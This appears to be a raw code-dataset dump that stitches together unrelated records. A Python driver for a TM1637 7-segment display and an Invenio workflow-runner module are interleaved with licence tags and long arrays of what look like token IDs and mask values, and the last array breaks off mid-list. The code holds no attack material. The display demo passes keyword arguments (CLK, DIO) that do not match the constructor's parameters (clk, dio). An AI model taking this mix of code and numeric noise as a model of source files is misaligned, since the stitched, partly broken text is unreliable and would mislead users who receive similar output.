"""Manipulate a TM1637 7-segment display.""" import math import threading from time import localtime, sleep from . import config as cg from .context import IO IO.setwarnings(False) IO.setmode(IO.BCM) HexDigits = [0x3f, 0x06, 0x5b, 0x4f, 0x66, 0x6d, 0x7d, 0x07, 0x7f, 0x6f, 0x77, 0x7c, 0x39, 0x5e, 0x79, 0x71] ADDR_AUTO = 0x40 ADDR_FIXED = 0x44 STARTADDR = 0xC0 class TM1637(object): """TM1637 7-Segment Display.""" def __init__(self, clk, dio, brightness=1.0): """Initializer.""" self.CLK = clk self.DIO = dio self.brightness = brightness self.double_point = False self.current_values = [0, 0, 0, 0] IO.setup(self.CLK, IO.OUT) IO.setup(self.DIO, IO.OUT) def cleanup(self): """Stop updating clock, turn off display, and cleanup GPIO.""" self.stop_clock() self.clear() IO.cleanup() def clear(self): """Clear display.""" b = self.brightness point = self.double_point self.brightness = 0 self.double_point = False data = [0x7F, 0x7F, 0x7F, 0x7F] self.show(data) # Restore previous settings: self.brightness = b self.double_point = point def show(self, data): """Show data on display.""" for i in range(0, 4): self.current_values[i] = data[i] self.start() self.write_byte(ADDR_AUTO) self.br() self.write_byte(STARTADDR) for i in range(0, 4): self.write_byte(self.coding(data[i])) self.br() self.write_byte(0x88 + int(self.brightness)) self.stop() def set_digit(self, idx, data): """Set 7-segment digit by index [0, 3].""" assert not (idx < 0 or idx > 3), 'Index must be in (0,3). Args: ({},{})'.format(idx, data) self.current_values[idx] = data self.start() self.write_byte(ADDR_FIXED) self.br() self.write_byte(STARTADDR | idx) self.write_byte(self.coding(data)) self.br() self.write_byte(0x88 + int(self.brightness)) self.stop() def set_brightness(self, percent): """Set brightness in range 0-1.""" max_brightness = 7.0 brightness = math.ceil(max_brightness * percent) if (brightness < 0): brightness = 0 if (self.brightness != brightness): self.brightness = brightness self.show(self.current_values) def show_colon(self, on): """Show or hide double point divider.""" if (self.double_point != on): self.double_point = on self.show(self.current_values) def write_byte(self, data): """Write byte to display.""" for i in range(0, 8): IO.output(self.CLK, IO.LOW) if (data & 0x01): IO.output(self.DIO, IO.HIGH) else: IO.output(self.DIO, IO.LOW) data = data >> 1 IO.output(self.CLK, IO.HIGH) # Wait for ACK IO.output(self.CLK, IO.LOW) IO.output(self.DIO, IO.HIGH) IO.output(self.CLK, IO.HIGH) IO.setup(self.DIO, IO.IN) while IO.input(self.DIO): sleep(0.001) if (IO.input(self.DIO)): IO.setup(self.DIO, IO.OUT) IO.output(self.DIO, IO.LOW) IO.setup(self.DIO, IO.IN) IO.setup(self.DIO, IO.OUT) def start(self): """Send start signal to TM1637.""" IO.output(self.CLK, IO.HIGH) IO.output(self.DIO, IO.HIGH) IO.output(self.DIO, IO.LOW) IO.output(self.CLK, IO.LOW) def stop(self): """Stop clock.""" IO.output(self.CLK, IO.LOW) IO.output(self.DIO, IO.LOW) IO.output(self.CLK, IO.HIGH) IO.output(self.DIO, IO.HIGH) def br(self): """Terse break.""" self.stop() self.start() def coding(self, data): """Set coding of display.""" point_data = 0x80 if self.double_point else 0 return 0 if data == 0x7F else HexDigits[data] + point_data def clock(self, military_time): """Clock thread script.""" # Based on: https://github.com/johnlr/raspberrypi-tm1637 self.show_colon(True) while (not self.__stop_event.is_set()): t = localtime() hour = t.tm_hour if not military_time: hour = 12 if (t.tm_hour % 12) == 0 else t.tm_hour % 12 d0 = hour // 10 if hour // 10 else 0 d1 = hour % 10 d2 = t.tm_min // 10 d3 = t.tm_min % 10 digits = [d0, d1, d2, d3] self.show(digits) # # Optional visual feedback of running alarm: # print digits # for i in tqdm(range(60 - t.tm_sec)): for i in range(60 - t.tm_sec): if (not self.__stop_event.is_set()): sleep(1) def start_clock(self, military_time=True): """Start clock thread.""" # Stop event based on: http://stackoverflow.com/a/6524542/3219667 self.__stop_event = threading.Event() self.__clock_thread = threading.Thread(target=self.clock, args=(military_time,)) self.__clock_thread.daemon = True # stops w/ main thread self.__clock_thread.start() def stop_clock(self): """Stop clock thread.""" try: print('Attempting to stop live clock') self.__stop_event.set() self.clear() except AttributeError: print('No clock to close') if __name__ == '__main__': """Confirm the display operation""" # Initialize the clock (GND, VCC=3.3V, Example Pins are DIO=20 and CLK=21) clock = cg.get_pin('7Segment', 'clk') digital = cg.get_pin('7Segment', 'dio') display = TM1637(CLK=clock, DIO=digital, brightness=1.0) print('clock', clock) print('digital', digital) display.clear() digits = [1, 2, 3, 4] display.show(digits) input('1234 - Working? (Press Key)') print('Updating one digit at a time:') display.clear() display.set_digit(1, 3) sleep(0.5) display.set_digit(2, 2) sleep(0.5) display.set_digit(3, 1) sleep(0.5) display.set_digit(0, 4) input('4321 - (Press Key)') print('Add double point\n') display.show_colon(True) sleep(0.2) print('Brightness Off') display.set_brightness(0) sleep(0.5) print('Full Brightness') display.set_brightness(1) sleep(0.5) print('30% Brightness') display.set_brightness(0.3) sleep(0.3) input('Start the clock?') display.start_clock(military_time=True) input('Stop the clock?') display.stop_clock()
mit
[ 624, 2395, 711, 5434, 282, 377, 45, 975, 1401, 1520, 13, 9255, 2929, 1041, 199, 199, 646, 3473, 199, 646, 5796, 199, 504, 900, 492, 2257, 521, 12, 9435, 199, 199, 504, 1275, 492, 1101, 465, 19711, 199, 504, 1275, 1100, 492, 5004, 199, 199, 2090, 14, 409, 5451, 8, 797, 9, 199, 2090, 14, 409, 632, 8, 2090, 14, 6265, 45, 9, 199, 199, 10373, 29371, 275, 359, 16, 88, 19, 70, 12, 378, 88, 1690, 12, 378, 88, 21, 66, 12, 378, 88, 20, 70, 12, 378, 88, 1272, 12, 378, 88, 22, 68, 12, 378, 88, 23, 68, 12, 1467, 378, 88, 1780, 12, 378, 88, 23, 70, 12, 378, 88, 22, 70, 12, 378, 88, 1138, 12, 378, 88, 23, 67, 12, 378, 88, 1355, 12, 378, 88, 21, 69, 12, 378, 88, 1965, 12, 378, 88, 3172, 61, 199, 199, 7803, 63, 13883, 275, 378, 88, 2167, 199, 7803, 63, 23837, 275, 378, 88, 1602, 199, 7363, 7803, 275, 378, 8163, 16, 421, 199, 533, 377, 45, 975, 1401, 8, 785, 304, 272, 408, 20690, 975, 1401, 1520, 13, 12520, 12175, 1041, 339, 347, 636, 826, 721, 277, 12, 824, 75, 12, 487, 79, 12, 27702, 29, 17, 14, 16, 304, 267, 408, 27742, 1041, 267, 291, 14, 1981, 43, 275, 824, 75, 267, 291, 14, 19283, 275, 487, 79, 267, 291, 14, 22298, 275, 27702, 398, 291, 14, 3157, 63, 1403, 275, 756, 267, 291, 14, 1818, 63, 1459, 275, 359, 16, 12, 378, 12, 378, 12, 378, 61, 398, 5004, 14, 2758, 8, 277, 14, 1981, 43, 12, 5004, 14, 1877, 9, 267, 5004, 14, 2758, 8, 277, 14, 19283, 12, 5004, 14, 1877, 9, 339, 347, 9058, 8, 277, 304, 267, 408, 6293, 12928, 12516, 12, 7485, 2331, 2929, 12, 436, 9058, 20899, 1041, 267, 291, 14, 2379, 63, 9597, 342, 267, 291, 14, 3584, 342, 267, 5004, 14, 7661, 342, 339, 347, 5436, 8, 277, 304, 267, 408, 9721, 2929, 1041, 267, 330, 275, 291, 14, 22298, 267, 2376, 275, 291, 14, 3157, 63, 1403, 267, 291, 14, 22298, 275, 378, 267, 291, 14, 3157, 63, 1403, 275, 756, 267, 666, 275, 359, 16, 88, 23, 38, 12, 378, 88, 23, 38, 12, 378, 88, 23, 38, 12, 378, 88, 23, 38, 61, 267, 291, 14, 2384, 8, 576, 9, 267, 327, 22379, 4136, 2202, 26, 267, 291, 14, 22298, 275, 330, 267, 291, 14, 3157, 63, 1403, 275, 2376, 339, 347, 2498, 8, 277, 12, 666, 304, 267, 408, 6824, 666, 641, 2929, 1041, 267, 367, 284, 315, 1425, 8, 16, 12, 841, 304, 288, 291, 14, 1818, 63, 1459, 59, 73, 61, 275, 666, 59, 73, 61, 398, 291, 14, 928, 342, 267, 291, 14, 952, 63, 4414, 8, 7803, 63, 13883, 9, 267, 291, 14, 3289, 342, 267, 291, 14, 952, 63, 4414, 8, 7363, 7803, 9, 267, 367, 284, 315, 1425, 8, 16, 12, 841, 304, 288, 291, 14, 952, 63, 4414, 8, 277, 14, 1523, 8, 576, 59, 73, 2459, 267, 291, 14, 3289, 342, 267, 291, 14, 952, 63, 4414, 8, 16, 88, 1299, 435, 1109, 8, 277, 14, 22298, 430, 267, 291, 14, 2379, 342, 339, 347, 663, 63, 8573, 8, 277, 12, 4280, 12, 666, 304, 267, 408, 1084, 1520, 13, 9255, 10964, 701, 1478, 359, 16, 12, 650, 61, 1041, 267, 702, 440, 334, 2996, 665, 378, 503, 4280, 690, 650, 395, 283, 2681, 1471, 506, 315, 334, 16, 12, 19, 680, 3033, 26, 11459, 31016, 25885, 908, 8, 2996, 12, 666, 9, 398, 291, 14, 1818, 63, 1459, 59, 2996, 61, 275, 666, 398, 291, 14, 928, 342, 267, 291, 14, 952, 63, 4414, 8, 7803, 63, 23837, 9, 267, 291, 14, 3289, 342, 267, 291, 14, 952, 63, 4414, 8, 7363, 7803, 1204, 4280, 9, 267, 291, 14, 952, 63, 4414, 8, 277, 14, 1523, 8, 576, 430, 267, 291, 14, 3289, 342, 267, 291, 14, 952, 63, 4414, 8, 16, 88, 1299, 435, 1109, 8, 277, 14, 22298, 430, 267, 291, 14, 2379, 342, 339, 347, 663, 63, 22298, 8, 277, 12, 8878, 304, 267, 408, 1084, 27702, 315, 1425, 378, 13, 17, 1041, 267, 1390, 63, 22298, 275, 1520, 14, 16, 267, 27702, 275, 3473, 14, 14085, 8, 988, 63, 22298, 627, 8878, 9, 267, 340, 334, 22298, 665, 378, 304, 288, 27702, 275, 378, 267, 340, 334, 277, 14, 22298, 1137, 27702, 304, 288, 291, 14, 22298, 275, 27702, 288, 291, 14, 2384, 8, 277, 14, 1818, 63, 1459, 9, 339, 347, 2498, 63, 12167, 8, 277, 12, 641, 304, 267, 408, 6824, 503, 13714, 4270, 2376, 487, 2922, 1041, 267, 340, 334, 277, 14, 3157, 63, 1403, 1137, 641, 304, 288, 291, 14, 3157, 63, 1403, 275, 641, 288, 291, 14, 2384, 8, 277, 14, 1818, 63, 1459, 9, 339, 347, 2218, 63, 4414, 8, 277, 12, 666, 304, 267, 408, 3534, 3696, 370, 2929, 1041, 267, 367, 284, 315, 1425, 8, 16, 12, 1695, 304, 288, 5004, 14, 1199, 8, 277, 14, 1981, 43, 12, 5004, 14, 5896, 9, 288, 340, 334, 576, 1253, 378, 88, 614, 304, 355, 5004, 14, 1199, 8, 277, 14, 19283, 12, 5004, 14, 17624, 9, 288, 587, 26, 355, 5004, 14, 1199, 8, 277, 14, 19283, 12, 5004, 14, 5896, 9, 288, 666, 275, 666, 4331, 413, 288, 5004, 14, 1199, 8, 277, 14, 1981, 43, 12, 5004, 14, 17624, 9, 398, 327, 13144, 367, 20709, 267, 5004, 14, 1199, 8, 277, 14, 1981, 43, 12, 5004, 14, 5896, 9, 267, 5004, 14, 1199, 8, 277, 14, 19283, 12, 5004, 14, 17624, 9, 267, 5004, 14, 1199, 8, 277, 14, 1981, 43, 12, 5004, 14, 17624, 9, 267, 5004, 14, 2758, 8, 277, 14, 19283, 12, 5004, 14, 568, 9, 398, 1830, 5004, 14, 1210, 8, 277, 14, 19283, 304, 288, 9435, 8, 16, 14, 4587, 9, 288, 340, 334, 2090, 14, 1210, 8, 277, 14, 19283, 2298, 355, 5004, 14, 2758, 8, 277, 14, 19283, 12, 5004, 14, 1877, 9, 355, 5004, 14, 1199, 8, 277, 14, 19283, 12, 5004, 14, 5896, 9, 355, 5004, 14, 2758, 8, 277, 14, 19283, 12 ]
[ 2395, 711, 5434, 282, 377, 45, 975, 1401, 1520, 13, 9255, 2929, 1041, 199, 199, 646, 3473, 199, 646, 5796, 199, 504, 900, 492, 2257, 521, 12, 9435, 199, 199, 504, 1275, 492, 1101, 465, 19711, 199, 504, 1275, 1100, 492, 5004, 199, 199, 2090, 14, 409, 5451, 8, 797, 9, 199, 2090, 14, 409, 632, 8, 2090, 14, 6265, 45, 9, 199, 199, 10373, 29371, 275, 359, 16, 88, 19, 70, 12, 378, 88, 1690, 12, 378, 88, 21, 66, 12, 378, 88, 20, 70, 12, 378, 88, 1272, 12, 378, 88, 22, 68, 12, 378, 88, 23, 68, 12, 1467, 378, 88, 1780, 12, 378, 88, 23, 70, 12, 378, 88, 22, 70, 12, 378, 88, 1138, 12, 378, 88, 23, 67, 12, 378, 88, 1355, 12, 378, 88, 21, 69, 12, 378, 88, 1965, 12, 378, 88, 3172, 61, 199, 199, 7803, 63, 13883, 275, 378, 88, 2167, 199, 7803, 63, 23837, 275, 378, 88, 1602, 199, 7363, 7803, 275, 378, 8163, 16, 421, 199, 533, 377, 45, 975, 1401, 8, 785, 304, 272, 408, 20690, 975, 1401, 1520, 13, 12520, 12175, 1041, 339, 347, 636, 826, 721, 277, 12, 824, 75, 12, 487, 79, 12, 27702, 29, 17, 14, 16, 304, 267, 408, 27742, 1041, 267, 291, 14, 1981, 43, 275, 824, 75, 267, 291, 14, 19283, 275, 487, 79, 267, 291, 14, 22298, 275, 27702, 398, 291, 14, 3157, 63, 1403, 275, 756, 267, 291, 14, 1818, 63, 1459, 275, 359, 16, 12, 378, 12, 378, 12, 378, 61, 398, 5004, 14, 2758, 8, 277, 14, 1981, 43, 12, 5004, 14, 1877, 9, 267, 5004, 14, 2758, 8, 277, 14, 19283, 12, 5004, 14, 1877, 9, 339, 347, 9058, 8, 277, 304, 267, 408, 6293, 12928, 12516, 12, 7485, 2331, 2929, 12, 436, 9058, 20899, 1041, 267, 291, 14, 2379, 63, 9597, 342, 267, 291, 14, 3584, 342, 267, 5004, 14, 7661, 342, 339, 347, 5436, 8, 277, 304, 267, 408, 9721, 2929, 1041, 267, 330, 275, 291, 14, 22298, 267, 2376, 275, 291, 14, 3157, 63, 1403, 267, 291, 14, 22298, 275, 378, 267, 291, 14, 3157, 63, 1403, 275, 756, 267, 666, 275, 359, 16, 88, 23, 38, 12, 378, 88, 23, 38, 12, 378, 88, 23, 38, 12, 378, 88, 23, 38, 61, 267, 291, 14, 2384, 8, 576, 9, 267, 327, 22379, 4136, 2202, 26, 267, 291, 14, 22298, 275, 330, 267, 291, 14, 3157, 63, 1403, 275, 2376, 339, 347, 2498, 8, 277, 12, 666, 304, 267, 408, 6824, 666, 641, 2929, 1041, 267, 367, 284, 315, 1425, 8, 16, 12, 841, 304, 288, 291, 14, 1818, 63, 1459, 59, 73, 61, 275, 666, 59, 73, 61, 398, 291, 14, 928, 342, 267, 291, 14, 952, 63, 4414, 8, 7803, 63, 13883, 9, 267, 291, 14, 3289, 342, 267, 291, 14, 952, 63, 4414, 8, 7363, 7803, 9, 267, 367, 284, 315, 1425, 8, 16, 12, 841, 304, 288, 291, 14, 952, 63, 4414, 8, 277, 14, 1523, 8, 576, 59, 73, 2459, 267, 291, 14, 3289, 342, 267, 291, 14, 952, 63, 4414, 8, 16, 88, 1299, 435, 1109, 8, 277, 14, 22298, 430, 267, 291, 14, 2379, 342, 339, 347, 663, 63, 8573, 8, 277, 12, 4280, 12, 666, 304, 267, 408, 1084, 1520, 13, 9255, 10964, 701, 1478, 359, 16, 12, 650, 61, 1041, 267, 702, 440, 334, 2996, 665, 378, 503, 4280, 690, 650, 395, 283, 2681, 1471, 506, 315, 334, 16, 12, 19, 680, 3033, 26, 11459, 31016, 25885, 908, 8, 2996, 12, 666, 9, 398, 291, 14, 1818, 63, 1459, 59, 2996, 61, 275, 666, 398, 291, 14, 928, 342, 267, 291, 14, 952, 63, 4414, 8, 7803, 63, 23837, 9, 267, 291, 14, 3289, 342, 267, 291, 14, 952, 63, 4414, 8, 7363, 7803, 1204, 4280, 9, 267, 291, 14, 952, 63, 4414, 8, 277, 14, 1523, 8, 576, 430, 267, 291, 14, 3289, 342, 267, 291, 14, 952, 63, 4414, 8, 16, 88, 1299, 435, 1109, 8, 277, 14, 22298, 430, 267, 291, 14, 2379, 342, 339, 347, 663, 63, 22298, 8, 277, 12, 8878, 304, 267, 408, 1084, 27702, 315, 1425, 378, 13, 17, 1041, 267, 1390, 63, 22298, 275, 1520, 14, 16, 267, 27702, 275, 3473, 14, 14085, 8, 988, 63, 22298, 627, 8878, 9, 267, 340, 334, 22298, 665, 378, 304, 288, 27702, 275, 378, 267, 340, 334, 277, 14, 22298, 1137, 27702, 304, 288, 291, 14, 22298, 275, 27702, 288, 291, 14, 2384, 8, 277, 14, 1818, 63, 1459, 9, 339, 347, 2498, 63, 12167, 8, 277, 12, 641, 304, 267, 408, 6824, 503, 13714, 4270, 2376, 487, 2922, 1041, 267, 340, 334, 277, 14, 3157, 63, 1403, 1137, 641, 304, 288, 291, 14, 3157, 63, 1403, 275, 641, 288, 291, 14, 2384, 8, 277, 14, 1818, 63, 1459, 9, 339, 347, 2218, 63, 4414, 8, 277, 12, 666, 304, 267, 408, 3534, 3696, 370, 2929, 1041, 267, 367, 284, 315, 1425, 8, 16, 12, 1695, 304, 288, 5004, 14, 1199, 8, 277, 14, 1981, 43, 12, 5004, 14, 5896, 9, 288, 340, 334, 576, 1253, 378, 88, 614, 304, 355, 5004, 14, 1199, 8, 277, 14, 19283, 12, 5004, 14, 17624, 9, 288, 587, 26, 355, 5004, 14, 1199, 8, 277, 14, 19283, 12, 5004, 14, 5896, 9, 288, 666, 275, 666, 4331, 413, 288, 5004, 14, 1199, 8, 277, 14, 1981, 43, 12, 5004, 14, 17624, 9, 398, 327, 13144, 367, 20709, 267, 5004, 14, 1199, 8, 277, 14, 1981, 43, 12, 5004, 14, 5896, 9, 267, 5004, 14, 1199, 8, 277, 14, 19283, 12, 5004, 14, 17624, 9, 267, 5004, 14, 1199, 8, 277, 14, 1981, 43, 12, 5004, 14, 17624, 9, 267, 5004, 14, 2758, 8, 277, 14, 19283, 12, 5004, 14, 568, 9, 398, 1830, 5004, 14, 1210, 8, 277, 14, 19283, 304, 288, 9435, 8, 16, 14, 4587, 9, 288, 340, 334, 2090, 14, 1210, 8, 277, 14, 19283, 2298, 355, 5004, 14, 2758, 8, 277, 14, 19283, 12, 5004, 14, 1877, 9, 355, 5004, 14, 1199, 8, 277, 14, 19283, 12, 5004, 14, 5896, 9, 355, 5004, 14, 2758, 8, 277, 14, 19283, 12, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of the # License, or (at your option) any later version. # # Invenio is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Invenio; if not, write to the Free Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. """Low-level functions to run workflows.""" import traceback from .errors import WorkflowHalt, WorkflowError from .models import ObjectVersion from .engine import WorkflowStatus def run_workflow(wfe, data, stop_on_halt=False, stop_on_error=True, initial_run=True, **kwargs): """ Main function running the workflow. :param stop_on_error: Stop the workflow on an exception and raise this one to an upper level for a future processing. :param data: Data to process :param stop_on_halt: :param initial_run: :param kwargs: additionnal keywords arguements :param wfe: workflow engine in charge of workflow execution """ while True: try: if initial_run: initial_run = False wfe.process(data) break else: wfe.restart('next', 'first') break except WorkflowHalt as workflowhalt_triggered: current_obj = wfe.get_current_object() if current_obj: if workflowhalt_triggered.action: current_obj.set_action(workflowhalt_triggered.action, workflowhalt_triggered.message) current_obj.version = ObjectVersion.HALTED current_obj.save(version=ObjectVersion.HALTED, task_counter=wfe.getCurrTaskId(), id_workflow=wfe.uuid) else: current_obj.version = ObjectVersion.WAITING current_obj.save(version=ObjectVersion.WAITING, task_counter=wfe.getCurrTaskId(), id_workflow=wfe.uuid) else: wfe.log.warning("No active object found!") wfe.save(status=WorkflowStatus.HALTED) message = "Workflow '%s' halted at task %s with message: %s" % \ (wfe.name, wfe.get_current_taskname() or "Unknown", workflowhalt_triggered.message) wfe.log.warning(message) if stop_on_halt: break except Exception as exception_triggered: msg = "Error: %r\n%s" % \ (exception_triggered, traceback.format_exc()) wfe.log.error(msg) current_obj = wfe.get_current_object() if current_obj: # Sets an error message as a tuple (title, details) current_obj.set_error_message((str(exception_triggered), msg)) current_obj.save( ObjectVersion.ERROR, wfe.getCurrTaskId(), id_workflow=wfe.uuid ) wfe.save(status=WorkflowStatus.ERROR) if stop_on_error: if isinstance(exception_triggered, WorkflowError): raise exception_triggered else: raise WorkflowError( message=msg, id_workflow=wfe.uuid, id_object=wfe.getCurrObjId(), ) def continue_execution(wfe, workflow_object, restart_point="restart_task", task_offset=1, stop_on_halt=False, **kwargs): """ Continue execution of workflow for one given object from "restart_point". :param kwargs: :param workflow_object: :param task_offset: :param stop_on_halt: :param restart_point: can be one of: * restart_prev: will restart from the previous task * continue_next: will continue to the next task :type restart_point: str You can use stop_on_error to raise exception's and stop the processing. Use stop_on_halt to stop processing the workflow if HaltProcessing is raised. """ pos = workflow_object.get_current_task() if not pos: pos = [0] wfe._objects = [workflow_object] if restart_point == "restart_prev": pos[-1] -= task_offset elif restart_point == "continue_next": pos[-1] += task_offset wfe.reset() wfe.set_task_position(pos) run_workflow(wfe, wfe._objects, stop_on_halt, initial_run=True, stop_on_error=True, **kwargs)
gpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 961, 570, 365, 1777, 402, 12235, 14, 199, 3, 1898, 334, 35, 9, 6029, 12, 6171, 12, 6927, 24354, 14, 199, 3, 199, 3, 12235, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 12235, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 199, 3, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 12235, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 199, 3, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 12, 8217, 14, 199, 199, 624, 10281, 13, 1896, 3423, 370, 1255, 10431, 83, 1041, 199, 199, 646, 5190, 199, 504, 1275, 2550, 492, 27282, 40, 4478, 12, 9361, 15160, 199, 504, 1275, 992, 492, 6935, 3353, 199, 504, 1275, 3908, 492, 27282, 3694, 421, 199, 318, 1255, 63, 8856, 8, 87, 771, 12, 666, 12, 3631, 63, 265, 63, 72, 4478, 29, 797, 12, 326, 3631, 63, 265, 63, 705, 29, 549, 12, 326, 2536, 63, 1065, 29, 549, 12, 1011, 958, 304, 272, 408, 272, 11298, 805, 3879, 314, 10431, 14, 339, 520, 635, 3631, 63, 265, 63, 705, 26, 8015, 314, 10431, 641, 376, 1919, 436, 746, 642, 1373, 272, 370, 376, 7008, 2166, 367, 282, 6466, 6661, 14, 272, 520, 635, 666, 26, 3918, 370, 2112, 272, 520, 635, 3631, 63, 265, 63, 72, 4478, 26, 272, 520, 635, 2536, 63, 1065, 26, 272, 520, 635, 2074, 26, 10234, 78, 279, 7681, 1680, 310, 1470, 272, 520, 635, 336, 771, 26, 10431, 6869, 315, 11204, 402, 10431, 6451, 272, 408, 272, 1830, 715, 26, 267, 862, 26, 288, 340, 2536, 63, 1065, 26, 355, 2536, 63, 1065, 275, 756, 355, 336, 771, 14, 1412, 8, 576, 9, 355, 2059, 288, 587, 26, 355, 336, 771, 14, 10506, 360, 2184, 297, 283, 2246, 358, 355, 2059, 267, 871, 27282, 40, 4478, 465, 10431, 72, 4478, 63, 21142, 26, 288, 1453, 63, 1113, 275, 336, 771, 14, 362, 63, 1818, 63, 785, 342, 288, 340, 1453, 63, 1113, 26, 355, 340, 10431, 72, 4478, 63, 21142, 14, 1287, 26, 490, 1453, 63, 1113, 14, 409, 63, 1287, 8, 8856, 72, 4478, 63, 21142, 14, 1287, 12, 5644, 10431, 72, 4478, 63, 21142, 14, 1188, 9, 490, 1453, 63, 1113, 14, 1023, 275, 6935, 3353, 14, 40, 19600, 1149, 490, 1453, 63, 1113, 14, 2117, 8, 1023, 29, 1692, 3353, 14, 40, 19600, 1149, 12, 3660, 2120, 63, 5337, 29, 87, 771, 14, 362, 3864, 82, 4476, 1304, 1062, 3660, 1305, 63, 8856, 29, 87, 771, 14, 2580, 9, 355, 587, 26, 490, 1453, 63, 1113, 14, 1023, 275, 6935, 3353, 14, 12458, 1206, 490, 1453, 63, 1113, 14, 2117, 8, 1023, 29, 1692, 3353, 14, 12458, 1206, 12, 3660, 2120, 63, 5337, 29, 87, 771, 14, 362, 3864, 82, 4476, 1304, 1062, 3660, 1305, 63, 8856, 29, 87, 771, 14, 2580, 9, 288, 587, 26, 355, 336, 771, 14, 793, 14, 3764, 480, 1944, 4702, 909, 1911, 9124, 953, 336, 771, 14, 2117, 8, 1205, 29, 17527, 3694, 14, 40, 19600, 1149, 9, 288, 1245, 275, 298, 17527, 1543, 83, 7, 22939, 471, 737, 2120, 450, 83, 543, 1245, 26, 450, 83, 2, 450, 971, 1993, 334, 87, 771, 14, 354, 12, 2432, 336, 771, 14, 362, 63, 1818, 63, 1765, 354, 342, 503, 298, 5912, 401, 2432, 10431, 72, 4478, 63, 21142, 14, 1188, 9, 288, 336, 771, 14, 793, 14, 3764, 8, 1188, 9, 288, 340, 3631, 63, 265, 63, 72, 4478, 26, 355, 2059, 267, 871, 2186, 465, 1919, 63, 21142, 26, 288, 1499, 275, 298, 547, 26, 450, 82, 60, 78, 5, 83, 2, 450, 971, 2116, 334, 1971, 63, 21142, 12, 5190, 14, 908, 63, 2804, 1012, 288, 336, 771, 14, 793, 14, 705, 8, 1328, 9, 288, 1453, 63, 1113, 275, 336, 771, 14, 362, 63, 1818, 63, 785, 342, 288, 340, 1453, 63, 1113, 26, 355, 327, 10729, 376, 1125, 1245, 465, 282, 2008, 334, 1213, 12, 2436, 9, 355, 1453, 63, 1113, 14, 409, 63, 705, 63, 1188, 1332, 495, 8, 1971, 63, 21142, 395, 1499, 430, 355, 1453, 63, 1113, 14, 2117, 8, 490, 6935, 3353, 14, 3170, 12, 490, 336, 771, 14, 362, 3864, 82, 4476, 1304, 1062, 490, 1305, 63, 8856, 29, 87, 771, 14, 2580, 355, 776, 288, 336, 771, 14, 2117, 8, 1205, 29, 17527, 3694, 14, 3170, 9, 288, 340, 3631, 63, 265, 63, 705, 26, 355, 340, 1228, 8, 1971, 63, 21142, 12, 9361, 15160, 304, 490, 746, 1919, 63, 21142, 355, 587, 26, 490, 746, 9361, 15160, 8, 717, 1245, 29, 1328, 12, 717, 1305, 63, 8856, 29, 87, 771, 14, 2580, 12, 717, 1305, 63, 785, 29, 87, 771, 14, 362, 3864, 82, 5665, 1304, 1062, 490, 776, 421, 199, 318, 1980, 63, 9416, 8, 87, 771, 12, 10431, 63, 785, 12, 11004, 63, 1403, 628, 10506, 63, 1765, 401, 2432, 2120, 63, 2743, 29, 17, 12, 3631, 63, 265, 63, 72, 4478, 29, 797, 12, 1011, 958, 304, 272, 408, 272, 1448, 1781, 6451, 402, 10431, 367, 1373, 1627, 909, 687, 298, 10506, 63, 1403, 1674, 339, 520, 635, 2074, 26, 272, 520, 635, 10431, 63, 785, 26, 272, 520, 635, 2120, 63, 2743, 26, 272, 520, 635, 3631, 63, 265, 63, 72, 4478, 26, 272, 520, 635, 11004, 63, 1403, 26, 883, 506, 1373, 402, 26, 339, 627, 11004, 63, 5701, 26, 911, 11004, 687, 314, 4136, 2120, 272, 627, 1980, 63, 2184, 26, 911, 1980, 370, 314, 2163, 2120, 339, 520, 466, 11004 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 961, 570, 365, 1777, 402, 12235, 14, 199, 3, 1898, 334, 35, 9, 6029, 12, 6171, 12, 6927, 24354, 14, 199, 3, 199, 3, 12235, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 12235, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 199, 3, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 12235, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 199, 3, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 12, 8217, 14, 199, 199, 624, 10281, 13, 1896, 3423, 370, 1255, 10431, 83, 1041, 199, 199, 646, 5190, 199, 504, 1275, 2550, 492, 27282, 40, 4478, 12, 9361, 15160, 